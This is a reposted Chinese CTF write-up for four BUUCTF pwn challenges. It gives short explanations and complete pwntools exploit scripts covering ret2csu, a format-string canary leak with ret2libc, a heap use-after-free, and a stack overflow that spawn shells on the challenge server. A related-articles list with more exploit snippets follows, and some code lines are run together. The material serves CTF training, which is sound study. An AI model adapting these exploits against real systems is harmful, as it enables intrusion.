PWN-PRACTICE-BUUCTF-10

PWN-PRACTICE-BUUCTF-10

    • jarvisoj_level3_x64
    • bjdctf_2020_babyrop2
    • hitcontraining_uaf
    • jarvisoj_test_your_memory

jarvisoj_level3_x64

64位elf的栈溢出,ret2csu

from pwn import *
#context.log_level='debug'
#io=process('./jarvisoj_level3_x64')
io=remote('node4.buuoj.cn',29473)
elf=ELF('./jarvisoj_level3_x64')
libc=ELF('./libc-2.23-x64.so')
part1=0x4006AA
part2=0x400690
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=elf.sym['main']
pop_rdi=0x4006b3
io.recvuntil('Input:\n')
payload='a'*(0x80+8)
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):payload  = p64(part1)			# part1 entry pop_rbx_rbp_r12_r13_r14_r15_retpayload += p64(0x0)			# rbx must be 0x0payload += p64(0x1)			# rbp must be 0x1payload += p64(jmp2)			# r12 jump topayload += p64(arg3)			# r13  -> rdx    arg3payload += p64(arg2)			# r14  -> rsi    arg2payload += p64(arg1)			# r15d -> edi    arg1payload += p64(part2)			# part2 entry will call [r12+rbx*0x8]payload += 'A' * 56			# junk 6*8+8=56return payload
payload+=com_gadget(part1,part2,write_got,1,read_got,8)
payload+=p64(main_addr)
io.sendline(payload)
read_addr=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
io.recvuntil('Input:\n')
payload='a'*(0x80+8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main_addr)
io.sendline(payload)
io.interactive()

bjdctf_2020_babyrop2

格式化字符串泄露canary,然后栈溢出ret2libc

from pwn import *
#context.log_level='debug'
#io=process('./bjdctf_2020_babyrop2')
io=remote('node4.buuoj.cn',28650)
elf=ELF('./bjdctf_2020_babyrop2')
libc=ELF('./libc-2.23-x64.so')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
vuln_addr=elf.sym['vuln']
pop_rdi=0x400993
io.recvuntil('help u!\n')
io.sendline('%7$lx')
canary=int(io.recvuntil('\n')[:-1],16)
print(hex(canary))
io.recvuntil('story!\n')
payload='a'*(0x20-8)+p64(canary)+'b'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendline(payload)
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
payload1='a'*(0x20-8)+p64(canary)+'b'*8+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln_addr)
io.recvuntil('story!\n')
io.sendline(payload1)
io.interactive()

hitcontraining_uaf

参考:[BUUCTF]PWN——hitcontraining_uaf

from pwn import*
io=remote('node4.buuoj.cn',26666)
#io=process('./hacknote')
elf=ELF('./hacknote')def add(size,content):io.sendlineafter('choice :','1')io.sendlineafter('Note size :',str(size))io.sendlineafter('Content :',content)def delete(idx):io.sendlineafter('choice :','2')io.sendlineafter('Index :',str(idx))def print_(idx):io.sendlineafter('choice :','3')io.sendlineafter('Index :',str(idx))magic=0x8048945add(0x10,'aaaa')
add(0x10,'bbbb')delete(0)
delete(1)add(8,p32(magic))print_(0)io.interactive()

jarvisoj_test_your_memory

题目给出了字符串"cat flag"的地址
mem_test函数中存在栈溢出漏洞
ret到win_func函数,字符串"cat flag"的地址作为参数,执行system(“cat flag”)打印flag

from pwn import *
#context.log_level='debug'
#io=process('./memory')
io=remote('node4.buuoj.cn',25669)
win_func=0x080485BD
flag_addr=0x080487E0
payload='a'*(0x13+4)+p32(win_func)+p32(0x08048677)+p32(flag_addr)
io.sendline(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438102.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PWN-PRACTICE-BUUCTF-11

PWN-PRACTICE-BUUCTF-11bjdctf_2020_routerpicoctf_2018_buffer overflow 1pwnable_orwwustctf2020_getshellbjdctf_2020_router Linux 系统可以在一个命令行上执行多个命令:; --如果命令被分号(;)所分隔,那么命令会连续的执行下去,就算是错误的命令也会…

Redis与关系型数据库的同步问题

Redis是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key-value存储的不足,在部分场合可以对关系数据库起到很好的补充作用。它提供了Python,Ruby,Erlang,PHP客户端,使用很方便。…

Delphi各个版本和发展历史

Delphi,是Windows平台下著名的快速应用程序开发工具(Rapid Application Development,简称RAD)。它的前身,即是DOS时代盛行一时的“BorlandTurbo Pascal”,最早的版本由美国Borland(宝兰)公司于1995年开发。…

PWN-PRACTICE-BUUCTF-12

PWN-PRACTICE-BUUCTF-12cmcc_simpleroppicoctf_2018_buffer overflow 2babyfengshui_33c3_2016xdctf2015_pwn200cmcc_simplerop 静态编译的32位elf,找一个"int 80h"执行系统调用 前提是利用栈溢出读入字符串"/bin/sh\x00",然后找po…

C# 基础——C#特性

.NET C# Web开发学习之路——C#特性 C#历史办版本及特性 语言版本发布时间.NET Framework要求Visual版本C# 1.02002.1.NET Framework 1.0Visual Studio .NET 2002C# 1.1\1.22003.4.NET Framework 1.1Visual Studio .NET 2003C# 2.02005.11.NET Framework 2.0Visual Studio 20…

PWN-PRACTICE-BUUCTF-13

PWN-PRACTICE-BUUCTF-13[ZJCTF 2019]Logininndy_ropmrctf2020_shellcodejarvisoj_level1[ZJCTF 2019]Login 参考:ZJCTF 2019 Pwn from pwn import * ioremote(node4.buuoj.cn,27513) #io process("./login") shell 0x400e88 io.recvuntil("user…

同步与异步系列之二 导读目录

.NET 同步与异步 之 EventWaitHandle(Event通知) (十三) .NET 同步与异步 之 Mutex (十二) .NET 同步与异步 之 线程安全的集合 (十一) .NET 同步与异步 之 警惕闭包(十) .NET 同…

PWN-PRACTICE-BUUCTF-14

PWN-PRACTICE-BUUCTF-14bbys_tu_2016ciscn_2019_n_3roarctf_2019_easy_pwngyctf_2020_borrowstackbbys_tu_2016 栈溢出,覆盖eip到printFlag函数 from pwn import * #ioprocess(./bbys_tu_2016) ioremote(node4.buuoj.cn,27817) elfELF(./bbys_tu_2016) #io.recvun…

.NET 实现并行的几种方式(一)

好久没有更新了,今天来一篇,算是《同步与异步》系列的开篇吧,加油,坚持下去(PS:越来越懒了)。 一、Thread 利用Thread 可以直接创建和控制线程,在我的认知里它是最古老的技术了。因为out了、所…

PWN-PRACTICE-BUUCTF-15

PWN-PRACTICE-BUUCTF-15axb_2019_fmt32wustctf2020_getshell_2others_babystackpwnable_startaxb_2019_fmt32 格式化字符串漏洞 第一次打印出printf的真实地址,进而计算libc基地址,得到system真实地址 第二次修改got表,使printf的got指向sys…

PWN-PRACTICE-BUUCTF-16

PWN-PRACTICE-BUUCTF-16mrctf2020_easyoverflowhitcontraining_magicheapciscn_2019_s_40ctf_2017_babyheapmrctf2020_easyoverflow 覆盖main函数中的v5,使之为"n0t_r311y_f1g" from pwn import * rremote("node4.buuoj.cn",29521) payloada*…

REVERSE-PRACTICE-BUUCTF-32

REVERSE-PRACTICE-BUUCTF-32[第四章 CTF之APK章]数字壳的传说[第五章 CTF之RE章]Hello, RE[第五章 CTF之RE章]BabyAlgorithm[第五章 CTF之RE章]BabyConst[第五章 CTF之RE章]BabyLib[第五章 CTF之RE章]easy_rust[第五章 CTF之RE章]easy_go[第五章 CTF之RE章]easy_mfc[第四章 CTF…

.NET 实现并行的几种方式(二)

本随笔续接:.NET 实现并行的几种方式(一) 四、Task 3)Task.NET 4.5 中的简易方式 在上篇随笔中,两个Demo使用的是 .NET 4.0 中的方式,代码写起来略显麻烦,这不 .NET 4.5提供了更加简洁的方…

PWN-PRACTICE-BUUCTF-17

PWN-PRACTICE-BUUCTF-17hitcontraining_heapcreatorwustctf2020_closedciscn_2019_es_7hitcon2014_stkofhitcontraining_heapcreator 单字节溢出,修改下一个chunk的size,造成chunk overlap,实现任意地址读写 参考:buuctf hitcont…

redis 和 数据库mysql之间的关系

https://www.zhihu.com/question/20734566 https://www.zhihu.com/question/19660689 http://blog.csdn.net/Ideality_hunter/article/details/77621643 redis和mysql要根据具体业务场景去选型 mysql:数据放在磁盘redis:数据放在内存 redis适合放一些…

PWN-PRACTICE-BUUCTF-18

PWN-PRACTICE-BUUCTF-18ciscn_2019_final_3ciscn_2019_s_9jarvisoj_level5pwnable_hacknoteciscn_2019_final_3 tcache dup 参考:[V&N2020 公开赛]easyTHeap ciscn_2019_final_3 ——heap中tcache的一些简单利用方法 # -*- coding:utf-8 -*- from pwn impor…

GPS/轨迹追踪、轨迹回放、围栏控制

折腾一个多月终于弄完了这个项目,起初都未曾接触GPS/轨迹追踪、轨迹回放、圈划围栏...等一些在百度地图或者Googel地图操作的一些业务,后端的业务相对来说简单点 cas单点登录,mongdb灵活的数据存储方式,ActiveMQ消息推送、Redis存储... 这篇…

PWN-PRACTICE-BUUCTF-19

PWN-PRACTICE-BUUCTF-19hitcontraining_bambooboxpicoctf_2018_shellcodenpuctf_2020_easyheapcmcc_pwnme2hitcontraining_bamboobox unlink,参考:hitcontraining_bamboobox 堆技巧 unlink # -*- coding:utf-8 -*- from pwn import * #ioprocess("…

推荐使用:Vue.js ReactJS Angular 2 AngularJS

概要: 现在, Vue 还没有 React (由 Facebook 维护) 或者 Angular 2 (受到 Google 的支持) 流行。不过,许多开发者都已经转向 Vue 了。Laravel 社区也在考虑将它作为可选用的前端框架之一。 总之,Vue 给 React & Angular 的弊病提供了一道…

PWN-PRACTICE-BUUCTF-20

PWN-PRACTICE-BUUCTF-20actf_2019_babystackpicoctf_2018_can_you_gets_mepicoctf_2018_got_shellmrctf2020_easy_equationactf_2019_babystack 两次栈迁移 # -*- coding:utf-8 -*- from pwn import * #context.log_level"debug" #ioprocess("./ACTF_2019_bab…